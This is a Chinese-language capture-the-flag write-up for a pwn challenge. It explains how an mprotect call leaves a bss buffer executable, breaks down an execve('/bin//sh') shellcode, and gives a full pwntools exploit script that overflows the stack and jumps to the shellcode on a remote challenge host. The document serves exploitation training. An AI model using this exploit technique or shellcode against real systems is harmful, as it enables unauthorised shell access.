这是一道shellcode的题,先看看ida
看到main函数里有两次read函数输入,第一次输入到了name这个地方,第二次输入到了栈里,双击name,发现name在bss段,bss 段默认只可读写、不可执行,因为上面的mpropect函数让bss段可执行,具体原理ai是这么说的:main 开头调用了 mprotect,把它所在的内存页改成了 RWX:
程序先取 stdout 的地址(0x601060,也在 bss 段),与 ~0xfff 做页对齐得到页基址 0x601000,然后调用mprotect(0x601000, 0x1000, 7)。第三个参数 7 = 读(1) + 写(2) + 执行(4),长度 0x1000 正好一页。name 在0x6010A0,落在这页(0x601000~0x601fff)内,所以 name 这块内存变成了可写又可执行的区域——我们的 shellcode就有地方放了。
我们的思路就是第一次read函数输入shell的机器码放到name这个变量里,第二次read函数先填充,然后覆盖返回地址跳转到name执行我们写的机器码。
首先写shell的机器码,用到了pwntools带的asm工具,我们需要在工具里写汇编
shellcode=asm(''' mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall ''')汇编第一行的意思是rdi=bin//sh,右边这个0x的东西是bin//sh的ASCII码,bin//sh的效果和bin/sh的效果是一样的,因为Linux内核把双斜杠//当斜杠/处理,这里是多写了一个/是用来凑8字节的,不在最后多写一个0凑是因为写0机器码里就会有一个0x00,如果是scanf函数就会会停止读取,这题是read函数,所以没影响,第二三行就是把rsi和rdx设置成0,第四行的意思是把rax设置成59,对应execve函数的系统调用号,然后把rsi压入栈,也就是把0压入栈,作为bin//sh的终止符,然后把rdi里存的bin//sh的ASCII码压入栈,此时栈顶是bin//sh的ASCII码,再push rsp就是把栈顶地址也就是bin//sh的ASCII码的地址压入栈,pop rdi就是弹出栈顶的存的值,让rdi等于栈顶的值(字符串地址),这样操作,rdi就等于bin//sh0的地址了,最后再syscall一下,这个shellcode的效果就是execve(bin/sh,0,0)了
ru("Nice to meet you.\n") ru("Let's start!\n")然后接收一下两个输出,准备写payload
padding=b'a'*0x12 name=0x6010A0 payload=padding+p64(name)先计算填充多少,注意缓冲区是0x10,再加上rbp的8,padding=0x18是错的,因为双击buf发现read函数不是从栈底开始读的,而是从-0xa开始读的,所以填充0xa+8=0x12,之后覆盖返回地址跳转到name就可以执行我们之前写的shellcode了,就成功了
最后附上exp
from pwn import * s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) context.log_level = 'debug' context.arch = 'amd64' context.binary = binary = './pwn' context.terminal = ['tmux', 'splitw', '-h'] gdbscript = ''' ''' def start(argv=[], *a, **kw): if args.GDB: proc = process([binary] + argv, *a, **kw) gdb.attach(proc, gdbscript=gdbscript) return proc elif args.REMOTE: return remote('node4.anna.nssctf.cn',26260) else: return process([binary] + argv, *a, **kw) elf = ELF(binary) libc = ELF('./libc.so.6') rop = ROP(elf) io = start() padding=b'a'*0x12 name=0x6010A0 shellcode=asm(''' mov rdi,0x68732f2f6e69622f xor rsi,rsi xor rdx,rdx mov rax,59 push rsi push rdi push rsp pop rdi syscall ''') s(shellcode) ru("Nice to meet you.\n") ru("Let's start!\n") payload=padding+p64(name) s(payload) itr()